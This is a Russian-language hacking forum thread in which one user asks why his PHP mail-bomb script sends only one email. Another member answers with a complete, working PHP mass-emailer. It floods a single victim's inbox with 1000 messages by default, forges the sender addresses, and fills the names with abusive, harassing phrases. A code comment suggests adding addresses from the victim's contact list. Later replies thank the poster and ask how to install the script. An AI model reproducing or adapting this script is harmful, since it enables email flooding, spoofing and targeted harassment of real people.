Скрипт для флуда не пашет!

Discussion in 'Уязвимости Mail-сервисов' started by Theseus, 19 Apr 2006.

  1. Theseus

    Theseus Banned

    Joined:
    1 Apr 2006
    Messages:
    15
    Likes Received:
    0
    Reputations:
    -1
    Помогите вот установил скрипт на холм для бомбежки почты
    б
    попробовал на себе а он только одно песмо отсылает! в чем ошибка? :confused:


    HTML:
     <form method="POST" action="fm.php?Act=bombit">  
    <p>  
    FROM<input type="text" name="frommail" size="20">  
    <br>  
    THEME?<input type="text" name="theme" size="20">  
    <br>  
    TO MAIL?<input type="text" name="tomail" size="20">  
    <br>  
    HOW MUTCH?<input type="text" name="hm" size="20">  
    <br>  
    TEXT MESAGE<textarea rows="10" name="text" cols="30"></textarea>  
    <br>  
    <input type="submit" value="TRAVIT!(SEND)" name=""><input type="reset" value="SNYAT!(RESET)" name="">  
    </p>  
    </form> 
    
    PHP:
    <? 

    if (
    $Act == "bombit")  
    {  

    for (
    $a=1$a<=$hm$a++)  
     {  
    mail($tomail$theme$text"From: $frommail\nReply-To: $frommail\nContent-Type: text/plain; charset=windows-1251\nContent-Transfer-Encoding: 8bit");  
    }  
    }  


    ?> 
     
    #1 Theseus, 19 Apr 2006
    Last edited: 19 Apr 2006
  2. liauliau

    liauliau Member

    Joined:
    9 Apr 2005
    Messages:
    30
    Likes Received:
    6
    Reputations:
    -1
    вот работает отлично! ;)

    Code:
    <?
    function fux($str) {
      $i = 0;
      while ($i < strlen($str)) {
        $s = $str{$i};
        $r = rand(0,9);
        if ($r > 4) { $o = $o.strtoupper($s); }
        else { $o = $o.strtolower($s); }
        $i++;
      }
      return $o;
    }
    function hax($str) {
      $i = 0;
      $from = array('a','e','i','l','o','s','t');
      $to  = array('4','3','1','1','0','5','7');
      while ($i < strlen($str)) {
        $s = $str{$i};
        $r = rand(0,9);
        if ($r > 4) { $o = $o.str_replace($from,$to,$s); }
        else { $o = $o.$s; }
        $i++;
      }
      return $o;
    }
    function rx($str) {
      $r = rand(0,1);
      if ($r) { $str = hax($str); }
      else { $str = fux($str); }
      return $str;
    }
    function r($len) {
      $r = rand(0,1);
      if ($r) { $o = chr(rand(65,90)); }
      else { $o = chr(rand(97,122)); }
      $i = 1;
      while ($i < $len) {
        $i++;
        $r = rand(0,2);
        if ($r) { $o = $o.chr(rand(65,90)); }
        elseif ($r == 1) { $o = $o.chr(rand(97,122)); }
        else { $o = $o.rand(0,9); }
      }
      return $o;
    }
    function gettok($str,$tok,$chr) {
      $str = explode(chr($chr),$str);
      if (substr($tok,1) == '-') {
        $rest = TRUE;
        $tok = substr($tok,0,-1);
      }
      $tok--;
      if ($rest) {
        for ($i = $tok; $i < count($str); $i++) { $newstr = ($newstr) ? $newstr.chr($chr).$str[$i] : $str[$i]; }
        return $newstr;
      }
      else { return $str[$tok]; }
    }
    if ($_POST['to'] && $_POST['t'] && $_POST['len']) {
      echo '<hr />'."\r\n";
      $to = $_POST['to'];
      $t = $_POST['t'];
      $len = $_POST['len'];
      if ($_POST['s']) { $s = $_POST['s']; $sub = $s; }
    
      $i = 0;
    
      $nameList[] = rx('tom is dom');
      $nameList[] = rx('hahahaha');
      $nameList[] = rx('tom losertje wat ga je morge doen');
      $nameList[] = rx('fooked');
      $nameList[] = rx('worst');
      $nameList[] = rx('papa');
      $nameList[] = rx('mama');
      $nameList[] = rx('coward');
      $nameList[] = rx('tom is poep');
      $nameList[] = rx('child-molester');
      $nameList[] = rx('rofl');
      $nameList[] = rx('this-is-phun');
      $nameList[] = rx('poo');
      $nameList[] = rx('fucked-your-mom');
      $nameList[] = rx('fucked-your-mom...-again...');
      $nameList[] = rx('wjord');
      $nameList[] = rx('loser');
      $nameList[] = rx('kisses');
      $nameList[] = rx('hope-you-die');
      $nameList[] = rx('cunt');
      $nameList[] = rx('skank');
      $nameList[] = rx('pisbek');
      $nameList[] = rx('omg-your-a-whore');
      $nameList[] = rx('kut lipje');
    
      $emailList[] = '[email protected]';
      $emailList[] = '[email protected]';
      $emailList[] = '[email protected]';
      $emailList[] = '[email protected]';
    // You can keep adding emails here, this is good to put emails that are in the victoms contact list
    //  so all the emails hit the poor fuckers inbox!
    
      while ($t > $i) {
        $i++;
    
        $c = count($nameList);
        $r = rand(1,$c) - 1;
        $name = $nameList[$r];
    
        $c = count($emailList);
        $r = rand(1,$c) - 1;
        $email = $emailList[$r];
    
        $headers  = "MIME-Version: 1.0\r\n";
        $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
        $tt = explode('@', $to);
        $headers .= "To: " . $tt[0] . " <" . $to . ">" . "\r\n";
    /*
        $r = rand(0,9999);
        $m1 = md5($r);
        $r = rand(0,9999);
        $m2 = md5($r);
        $email = $m1.'@'.$m2.'.com';
    */
        $headers .= 'From: '.str_replace('-',' ',$name).' <'.$email.'>' . "\r\n";
    
        if ($i == 1) {
          if (!$s) { echo '_DATA 01 '.$to."\r\n"; }
          else { echo '_DATA 01 '.$to.'?'.$s."\r\n"; }
        }
    
        $m = r($len);
        if (!$sub) { $s = r(rand(30,46)); }
        else {
          $s = gettok($sub,'2-',63);
          $s = str_replace('-',' ',$s);
          if (gettok($sub,1,63) == hax) { $s = hax($s); }
          elseif (gettok($sub,1,63) == fux) { $s = fux($s); }
          elseif (gettok($sub,1,63) == rx) { $s = rx($s); }
          else { $s = $sub; }
        }
        $mail = mail($to,$s,$m,$headers);
        if ($mail) { echo '_DATA 02 i++?'.$len.'?'.$name.'?'.$email.'?'.str_replace(' ','-',$s)."\r\n"; }
        else { echo '_DATA 03 err0r'."\r\n"; }
      }
      echo '_DATA 04'."\r\n";
    }
    else {
      echo '_DATA 05'."\r\n";
      echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post">
    <table width="60%" cellspacing="1" cellpadding="3" border="0" align="center">
      <tr>
        <th colspan="2">Mass Emailer; [C]obalt</th>
      </tr>
      <tr>
        <td>Email to bomb:</td>
        <td><input name="to" type="text" value="[email protected]" size="30"></td>
      </tr>
      <tr>
        <td>Emails to send:</td>
        <td><input name="t" type="text" value="1000" size="30" /></td>
      </tr>
        <tr>
        <td>Length of emails in bytes:</td>
        <td><input name="len" type="text" value="1024" size="30" /></td>
      </tr>
      <tr>
        <td>Subject (optional):</td>
        <td><input name="s" type="text" value="visit waushare.com now ;)" size="30" /></td>
      </tr>
      </tr>
        <tr>
        <td colspan="2" align="center"><input type="submit" value="Bomb" /></td>
      </tr>
    </form>'."\r\n";
    }
    ?>
     
    2 people like this.
  3. Theseus

    Theseus Banned

    Joined:
    1 Apr 2006
    Messages:
    15
    Likes Received:
    0
    Reputations:
    -1
    зы спасиба ! где взял с буржуйскаго сайта =)
     
  4. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    Написать такой скрипт довольно легко! Учи php.

    Смени свою подпись.
     
  5. Theseus

    Theseus Banned

    Joined:
    1 Apr 2006
    Messages:
    15
    Likes Received:
    0
    Reputations:
    -1
    ага патаму и каменты англицкиинах)
    а пхп я учунах и потпись минйать нипутунах ниипйот
     
  6. artem59

    artem59 New Member

    Joined:
    13 Feb 2009
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    А как его установить?